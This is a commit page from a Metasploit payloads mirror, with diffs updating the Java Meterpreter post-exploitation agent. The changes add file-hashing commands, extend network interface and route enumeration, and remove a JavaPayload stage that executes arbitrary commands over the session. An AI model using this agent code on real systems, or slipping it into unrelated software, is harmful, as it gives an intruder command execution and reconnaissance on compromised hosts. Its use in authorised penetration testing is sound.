1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-16 00:24:29 +01:00

Update javapayload and java meterpreter

* Add support for hashing commands (stdapi_fs_md5 and sha1)
* Replace MTU detection with the Proper Java Way

Squashed commit of the following:

commit 0207b6e2e0c0eb55c7c5f04bd3008f674f6239ad
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 22:02:15 2012 +0100

    add support for stdapi_fs_{md5|sha1} commands

commit a187e7bc79f8d89e66df8d3a3f892c6dce10307b
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 20:32:03 2012 +0100

    update binaries

commit 0fc553bdac76cc8997fc581141483a3efbdefdfc
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 20:29:48 2012 +0100

    Add support to Java Meterpreter for multiple addresses on same interface

    For more information, see https://dev.metasploit.com/redmine/issues/6476

    Tested with Java 1.4, 1.5, 1.6, 1.7.

commit fc6dba99fe0b13bf8837ed7a699c5dbad35100e6
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 16:55:15 2012 +0100

    Fix Eclipse warnings

commit 4168d025507c1ecfbc50164cfc7f25f3f222b0ab
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 16:29:37 2012 +0100

    Update pretty-printing of unsupported command TLVs

    This adds the TLVs added by commit fbc8e25aaa2de0d012f42a5b94b81b703d7e8332 to the pretty-printer.

commit 4a9335abdabb1b8a7741c5ec67852d7c5d552d6b
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 16:17:25 2012 +0100

    Un-ghetto Java Meterpreter MTU determination

    This splits the change from commit 14dfcce63a5449a73596c00d83c52b9ae3b5583e into a 1.6-specific and a 1.4-specific implementation (the latter being empty).

    Tested with Java 1.4, 1.5, 1.6, 1.7.

commit 968edd210ed68ba4974f051e280d90f0151df222
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 15:52:46 2012 +0100

    update .gitignore to ignore IDE generated files in JavaPayload projects

commit 86111625bee318411cf43da7706d37ce5d7045c5
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 15:49:58 2012 +0100

    synchronize stages with upstream JavaPayload

commit 2360f2e6eb8703ae762868678ac952203be35d93
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 15:39:58 2012 +0100

    remove unused stages

[Closes #270]
This commit is contained in:
Michael Schierl 2012-04-04 09:55:30 -06:00 committed by James Lee
parent d1f6e7ca37
commit 5f45b34b08
18 changed files with 173 additions and 141 deletions

View File

@ -1,5 +1,10 @@
data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x64.dll
external/source/meterpreter/java/bin
external/source/meterpreter/java/build
external/source/meterpreter/java/extensions
external/source/javapayload/bin
external/source/javapayload/build
tags
*.swp
*.orig

View File

@ -63,21 +63,19 @@ public interface TLVType {
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
public static final int TLV_TYPE_SUBNET6 = TLVPacket.TLV_META_TYPE_RAW | 1424;
public static final int TLV_TYPE_NETMASK6 = TLVPacket.TLV_META_TYPE_RAW | 1425;
public static final int TLV_TYPE_GATEWAY6 = TLVPacket.TLV_META_TYPE_RAW | 1426;
public static final int TLV_TYPE_NETWORK_ROUTE6 = TLVPacket.TLV_META_TYPE_GROUP | 1427;
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
public static final int TLV_TYPE_IP6 = TLVPacket.TLV_META_TYPE_RAW | 1434;
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;

View File

@ -59,14 +59,18 @@ public class NotYetImplementedCommand implements Command {
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");

View File

@ -0,0 +1,26 @@
package com.metasploit.meterpreter.stdapi;
import java.io.FileInputStream;
import java.security.MessageDigest;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public abstract class HashCommand implements Command {
protected abstract String getAlgorithm();
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
MessageDigest md = MessageDigest.getInstance(getAlgorithm());
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
md.update(buf, 0, len);
}
response.add(TLVType.TLV_TYPE_FILE_NAME, new String(md.digest(), "ISO-8859-1"));
return ERROR_SUCCESS;
}
}

View File

@ -34,9 +34,11 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);

View File

@ -0,0 +1,7 @@
package com.metasploit.meterpreter.stdapi;
public class stdapi_fs_md5 extends HashCommand {
protected String getAlgorithm() {
return "MD5";
}
}

View File

@ -1,9 +1,6 @@
package com.metasploit.meterpreter.stdapi;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;

View File

@ -0,0 +1,7 @@
package com.metasploit.meterpreter.stdapi;
public class stdapi_fs_sha1 extends HashCommand {
protected String getAlgorithm() {
return "SHA-1";
}
}

View File

@ -3,7 +3,9 @@ package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
@ -13,52 +15,56 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int index = 0;
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
TLVPacket ifaceTLV = new TLVPacket();
byte[][] info = getInformation(iface);
if (info[0] != null) {
ifaceTLV.add(TLVType.TLV_TYPE_IP, info[0]);
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, info[1]);
} else {
ifaceTLV.add(TLVType.TLV_TYPE_IP, new byte[4]);
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, new byte[4]);
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
Address[] addresses = getAddresses(iface);
for (int i = 0; i < addresses.length; i++) {
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
if (addresses[i].scopeId != null) {
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
}
}
addMTU(ifaceTLV, iface);
byte[] mac = getMacAddress(iface);
if (mac != null) {
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
} else {
// seems that Meterpreter does not like interfaces without
// mac address
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
}
try {
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
} catch (NoSuchMethodError e) { }
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, info[2]);
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
}
return ERROR_SUCCESS;
}
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
// not supported before 1.6
}
protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
return null;
}
/**
* Return information of this interface that cannot be determined the same way for all Java versions. Currently this includes ip, network mask and MAC address.
* Return address information of this interface that cannot be determined
* the same way for all Java versions.
*
* @param iface
* @return ip, network mask and MAC address
* @return Array of {@link Interface}
*/
public byte[][] getInformation(NetworkInterface iface) throws IOException {
byte[] ip = null;
public Address[] getAddresses(NetworkInterface iface) throws IOException {
List/* <Address> */result = new ArrayList();
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
InetAddress addr = (InetAddress) en.nextElement();
if (addr.getAddress().length == 4) {
ip = addr.getAddress();
break;
}
}
if (ip == null) {
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
InetAddress addr = (InetAddress) en.nextElement();
ip = addr.getAddress();
break;
}
}
byte[] netmask = null;
if (ip != null) {
byte[] ip = addr.getAddress();
if (ip == null)
continue;
int prefixLength = 0;
if (ip.length == 4) {
// guess netmask by network class...
@ -70,17 +76,24 @@ public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get
prefixLength = 24;
}
}
netmask = createNetworkMask(ip.length, prefixLength);
result.add(new Address(ip, prefixLength, null));
}
return new byte[][] { ip, netmask, new byte[6] };
return (Address[]) result.toArray(new Address[result.size()]);
}
protected static byte[] createNetworkMask(int length, int prefixLength) {
byte[] netmask = new byte[length];
for (int i = 0; i < prefixLength; i++) {
netmask[i / 8] |= (1 << (7 - (i % 8)));
/**
* An IP address associated to an interface, together with a prefix length
* and optionally a scope.
*/
protected static class Address {
public final byte[] address;
public final int prefixLength;
public final byte[] scopeId;
public Address(byte[] address, int prefixLength, byte[] scopeId) {
this.address = address;
this.prefixLength = prefixLength;
this.scopeId = scopeId;
}
return netmask;
}
}

View File

@ -1,40 +1,42 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.Inet6Address;
import java.net.InterfaceAddress;
import java.net.NetworkInterface;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
public byte[][] getInformation(NetworkInterface iface) throws IOException {
byte[] ip = null;
public Address[] getAddresses(NetworkInterface iface) throws IOException {
List/* <Address> */result = new ArrayList();
List addresses = iface.getInterfaceAddresses();
int prefixLength = 0;
for (Iterator it = addresses.iterator(); it.hasNext();) {
InterfaceAddress addr = (InterfaceAddress) it.next();
if (addr.getAddress().getAddress().length == 4) {
ip = addr.getAddress().getAddress();
prefixLength = addr.getNetworkPrefixLength();
break;
byte[] ip = addr.getAddress().getAddress();
if (ip == null)
continue;
int prefixLength = addr.getNetworkPrefixLength();
byte[] scopeId = null;
if (addr.getAddress() instanceof Inet6Address) {
ByteBuffer bb = ByteBuffer.allocate(4);
bb.order(ByteOrder.BIG_ENDIAN);
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
scopeId = bb.array();
}
result.add(new Address(ip, prefixLength, scopeId));
}
if (ip == null) {
for (Iterator it = addresses.iterator(); it.hasNext();) {
InterfaceAddress addr = (InterfaceAddress) it.next();
ip = addr.getAddress().getAddress();
prefixLength = addr.getNetworkPrefixLength();
break;
}
}
byte[] netmask = null;
if (ip != null) {
netmask = createNetworkMask(ip.length, prefixLength);
}
byte[] mac = iface.getHardwareAddress();
if (mac == null)
mac = new byte[6];
return new byte[][] { ip, netmask, mac };
return (Address[]) result.toArray(new Address[result.size()]);
}
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
}
}

View File

@ -14,15 +14,26 @@ public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_rou
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
TLVPacket ifaceTLV = new TLVPacket();
byte[][] info = getIfaceCommand.getInformation(iface);
if (info[0] != null) {
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, info[0]);
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, info[1]);
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[info[0].length]);
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
for (int i = 0; i < addresses.length; i++) {
TLVPacket ifaceTLV = new TLVPacket();
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
int length = addresses[i].address.length;
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
}
}
return ERROR_SUCCESS;
}
private static byte[] createNetworkMask(int length, int prefixLength) {
if (prefixLength > length * 8)
prefixLength = length * 8;
byte[] netmask = new byte[length];
for (int i = 0; i < prefixLength; i++) {
netmask[i / 8] |= (1 << (7 - (i % 8)));
}
return netmask;
}
}

View File

@ -1,60 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class Exec implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
for (int i = 0; i < parameters.length; i++) {
if (parameters[i].equals("--")) {
// separator found. The next parameter will be the module name, and
// all remaining parameters are for exec.
final String[] cmdarray = new String[parameters.length - i - 2];
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
break;
}
}
}
}

View File

@ -1,7 +1,7 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without

View File

@ -1,7 +1,7 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without

View File

@ -1,7 +1,7 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
@ -41,6 +41,10 @@ import java.io.PrintStream;
public class StreamForwarder extends Thread {
public static void forward(InputStream in, OutputStream out) throws IOException {
forward(in, out, true);
}
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
try {
final byte[] buf = new byte[4096];
int length;
@ -54,7 +58,8 @@ public class StreamForwarder extends Thread {
}
} finally {
in.close();
out.close();
if (closeOut)
out.close();
}
}
@ -62,18 +67,33 @@ public class StreamForwarder extends Thread {
private final OutputStream out;
private final OutputStream stackTraceOut;
private final boolean closeOut;
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
this(in,out,stackTraceOut,true);
}
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
this.in = in;
this.out = out;
this.stackTraceOut = stackTraceOut;
this.closeOut = closeOut;
}
public void run() {
try {
forward(in, out);
forward(in, out, closeOut);
} catch (final Throwable ex) {
ex.printStackTrace(new PrintStream(stackTraceOut));
if (stackTraceOut == null)
throwWrapped(ex);
ex.printStackTrace(new PrintStream(stackTraceOut, true));
}
}
private static void throwWrapped(Throwable ex) {
/* #JDK1.4 */try {
throw new RuntimeException(ex);
} catch (NoSuchMethodError ex2) /**/{
throw new RuntimeException(ex.toString());
}
}
}